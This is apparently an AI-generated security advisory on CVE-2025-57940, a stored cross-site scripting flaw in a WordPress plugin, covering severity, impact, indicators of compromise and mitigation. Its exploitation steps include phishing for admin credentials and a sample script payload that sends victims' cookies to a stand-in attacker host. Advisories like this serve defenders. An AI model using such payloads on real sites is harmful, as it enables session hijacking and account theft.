CVE-2025-57940
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-57940 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin "Append extensions on Pages" developed by Suresh Kumar Mukhiya. The flaw affects all versions of the plugin up to and including 1.1.2, and was published on September 22, 2025. It carries a CVSS v3.1 base score of 5.9 (Medium), requiring high privileges and user interaction to exploit (Feedly).

Technical details

The vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically as a Stored XSS variant. An attacker with high-level privileges (such as an administrator) can inject malicious scripts into plugin-controlled fields that are subsequently stored and rendered to other users' browsers without proper sanitization or output encoding. The attack vector is network-based, requires no special complexity, but does require user interaction to trigger the payload (Feedly).

Impact

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session hijacking, credential theft, defacement of page content, or redirection of users to malicious sites. Given the changed scope in the CVSS vector, the impact extends beyond the plugin itself to affect other components of the WordPress environment, with low confidentiality, integrity, and availability impacts (Feedly).

Exploitability

No public proof-of-concept exploit code or evidence of in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.033%, indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no threat actor attribution has been identified (Feedly).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the "Append extensions on Pages" plugin version 1.1.2 or earlier, using tools like WPScan or manual inspection of plugin directories.
  2. Obtain high-privilege access: Gain administrator-level credentials to the WordPress dashboard through phishing, credential stuffing, or other means, as the vulnerability requires high privileges to inject payloads.
  3. Inject malicious payload: Navigate to the plugin's settings or configuration page within the WordPress admin panel and insert a crafted JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a vulnerable input field managed by the plugin.
  4. Trigger execution: Wait for a victim user (e.g., another administrator or site visitor) to load the page where the stored payload is rendered, causing the malicious script to execute in their browser.
  5. Achieve objective: Harvest session cookies, perform actions on behalf of the victim, or redirect users to attacker-controlled infrastructure (Feedly).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to plugin settings pages from unexpected IP addresses or at unusual times; error logs indicating unexpected script execution.
  • File System: Unexpected modifications to plugin files under wp-content/plugins/append-extensions-on-pages/; presence of obfuscated JavaScript in plugin configuration stored in the WordPress database (wp_options table).
  • Network: Outbound connections from victim browsers to unknown external domains following page loads that include plugin-rendered content; traffic to known malicious domains carrying cookie or session data in query parameters.
  • Database: Entries in wp_options or related tables containing encoded or obfuscated <script> tags associated with the plugin's settings.

Mitigation and workarounds

Users should update the "Append extensions on Pages" plugin to a version beyond 1.1.2 if a patched release is available from the WordPress plugin repository. If no patched version is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Site administrators should also review plugin settings for any existing injected content and audit administrator accounts for unauthorized access (Feedly).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-77115HIGH7.1
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-77116MEDIUM4.3
  • brave-popup-builder
NoYesAug 23, 2026
CVE-2026-14853MEDIUM4.3
  • woocommerce-bookings
NoYesAug 23, 2026
CVE-2026-77003LOW2.7
  • content-mask
NoYesAug 23, 2026
CVE-2026-13598NONEN/A
  • restrictmate
NoYesAug 23, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management